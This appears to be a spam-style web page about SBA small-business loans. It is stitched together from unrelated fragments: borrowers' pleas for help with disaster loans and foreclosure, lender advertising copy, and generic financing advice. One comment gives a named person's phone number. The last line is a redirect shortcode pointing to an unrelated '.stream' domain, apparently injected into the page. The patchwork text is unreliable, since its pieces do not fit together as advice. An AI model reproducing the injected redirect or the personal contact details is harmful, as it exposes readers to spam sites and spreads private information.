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I received a disaster loan after hurricane Katrina. I had a small house that I was remodeling. My insurance cancelled because house was not livable. I became disabled after getting the loan and was forced to file for SS disability. With the decline in my income I missed a couple of payments and my loan was turned over to a collection agency. They deduct my payment out of my SS check before I get it. It doesn’t leave me enough to even rent an apt. Is there any way I can get this loan forgiven. Please help!
Now that you have a general overview of the six primary kinds of SBA loans, and the frequency of funding for each, it’s important to understand the difference between SBA loans and traditional bank loans.
SBA Loans & Financing from Bank of America Find out how SBA loans may help your business qualify for financing more easily and preserve working capital. sba loan, sba lender, small business administration loans, sba financing
For young businesses building revenue, StreetShares is a good bet for financing new equipment or an expansion. Your strong personal credit and revenue of at least $25,000 qualify you for the lender, which serves a variety of borrowers but is an especially good option for U.S. military veterans.
It’s important to remember, however, that credit cards are an expensive way of financing a small business, particularly if you have bad credit. That’s because card issuers determine annual percentage rates based largely on personal credit scores. And research has shown that small businesses that rely heavily on credit card financing typically fail.
my partner (awesome credit) and myself (not so much) are looking at applying for an sba loan to fund our start up from the building brand phase to a sales phase. I have a FHA backed home loan that we went late on so we could qualify for a modification and we are still in the trial period. How and does this effect our ability to secure a sba loan?
I have loan to Wells Fargo and sba loan key bank. Main loan is my business n me n my partner are guarantor. I received a foreclosure letter which will be on 3/19. There s a prospective buyer to the building but lower to the amt I owed to both loans. Pls I need your help to guide me what to do. I don’t want them to go after to my house which is my only assets. The buyer offered 900.000.00. I owed them total 950.000.00 plus broker fee. Pls help
The Small Business Administration (SBA) is a United States government agency that provides support to entrepreneurs and small businesses. The mission of the Small Business Administration is “to maintain and strengthen the nation’s economy by enabling the establishment and viability of small businesses and by assisting in the economic recovery of communities after disasters”. The agency’s activities are summarized as the “3 Cs” of capital, contracts and counseling.
It’s important that those who are applying and obtaining a loan get the right one. Great job laying out and discussing the different types of SBA Loans. I’m sure that many people will find this post helpful.
Prior to submitting your application, it is important to consider the documents you’ll need to compile. We require your business’s three most recent bank statements and our one-page application to get started. Depending on other factors, a lender may request a month-to-date bank statement, tax returns, P&L and balance sheet.
If you’re targeting specific lenders online, be sure to compare interest rates, terms, and eligibility requirements. Small-business loan calculators found on many lenders’ websites can help you make sure you’re comparing apples to apples.
John, please send me an email with your contact information. I’m struggling with my SBA loan and need consultation & likely representation of your skill set. I can be reached at 714-305-2165. Thank You, Scott Branis.
Hi, I need some advice. My mother and I have a SBA -Katrina disaster in 2005, Florida for $34,000. In 2012 I filed for bankruptcy chapter 13. The loan was removed since the property value decreased to hold the first and the second mortgage. My concern is that SBA will go against my mother and later on to the property if the property gain equity.
Whether you’re a startup or an established business, we don’t ask for a lot of money to lend you a lot of money — all we want is for you to have $100,000 in annual gross sales and to be at least 6 months in business. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]